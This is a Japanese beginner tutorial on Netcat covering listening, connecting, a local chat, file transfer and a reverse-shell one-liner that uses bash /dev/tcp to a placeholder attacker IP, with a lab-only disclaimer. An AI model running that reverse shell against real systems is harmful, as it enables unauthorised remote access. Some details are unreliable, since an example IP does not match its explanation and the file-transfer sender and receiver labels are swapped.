ネットワークの学習やセキュリティの現場で頻繁に登場する「Netcat(nc)」をご存じでしょうか。
本記事では、Netcatの基本概要・よく使われるコマンド例・実践的な活用方法まで、初心者の方にも分かりやすく解説いたします。
Netcat(nc)とは?
Netcatとは、TCPやUDPプロトコルを使ってネットワーク通信を簡単に操作できるコマンドラインツールです。
「ネットワークのスイスアーミーナイフ」と呼ばれるほど多機能で、セキュリティの演習やサーバーの通信確認、ファイル送信、リモートシェル取得など幅広く活用されています。
ほとんどのLinuxディストリビューションに標準搭載されており、Windows環境でも利用可能です。
Netcatの主な用途
Netcatは以下のような場面で活用されます。
- ポートスキャンによるサーバー調査
- リバースシェルやバインドシェルによる遠隔操作
- ファイル転送
- サーバーやクライアントの簡易的なテスト
- ネットワーク診断やデバッグ
基本的な使い方
1. サーバー(リッスン)モード
任意のポートで接続待ち受けを行います。
nc -l -p 1234
-l
:リッスン(待ち受け)モード-p 1234
:ポート番号1234で待機
2. クライアント(接続)モード
他のサーバーに接続します。
nc 192.118.1.12 1234
192.168.1.10
:接続先のIPアドレス1234
:接続先ポート番号
Netcatの実践例
ここでは、実際のネットワーク演習やセキュリティ分野でよく用いられる例をいくつかご紹介します。
実践例① 簡易チャット(ローカル通信)
1つ目の端末でサーバーを起動:
nc -l -p 4444
2つ目の端末で接続:
nc 127.0.0.1 4444
この状態で、双方の端末から文字を入力すると、チャットのように通信できます。
実践例② リバースシェルの取得
ターゲット側で以下のコマンドを実行:
bash -i >& /dev/tcp/攻撃者IP/1234 0>&1
攻撃者側(Kali Linuxなど)で待ち受け:
nc -l -p 1234
この操作により、攻撃者側にシェル操作が返ってきます。
※ セキュリティ演習やTryHackMe、CTF環境での合法的な操作のみに使用してください。
実践例③ ファイル送信
ファイル送信側:
nc -l -p 8888 > received.txt
ファイル受信側:
cat sample.txt | nc 送信者IP 8888
このように、nc
を使って簡単にファイルを送受信できます。
注意点とセキュリティリスク
Netcatは非常に便利なツールですが、悪用すると重大なセキュリティリスクにつながります。
そのため、実運用環境や許可のないシステムへの不正使用は絶対に禁止です。
学習や業務内の検証、またはCTF・TryHackMeなどの合法的な環境下で使用しましょう。
まとめ
Netcatは、ネットワーク通信の確認からリモート操作、ファイル転送まで幅広く使える多機能ツールです。
セキュリティの学習を始める方、ネットワークエンジニアを目指す方には、必ず覚えておきたい基礎的なコマンドといえるでしょう。
本記事を参考に、ぜひNetcatを活用した演習を進めてみてください。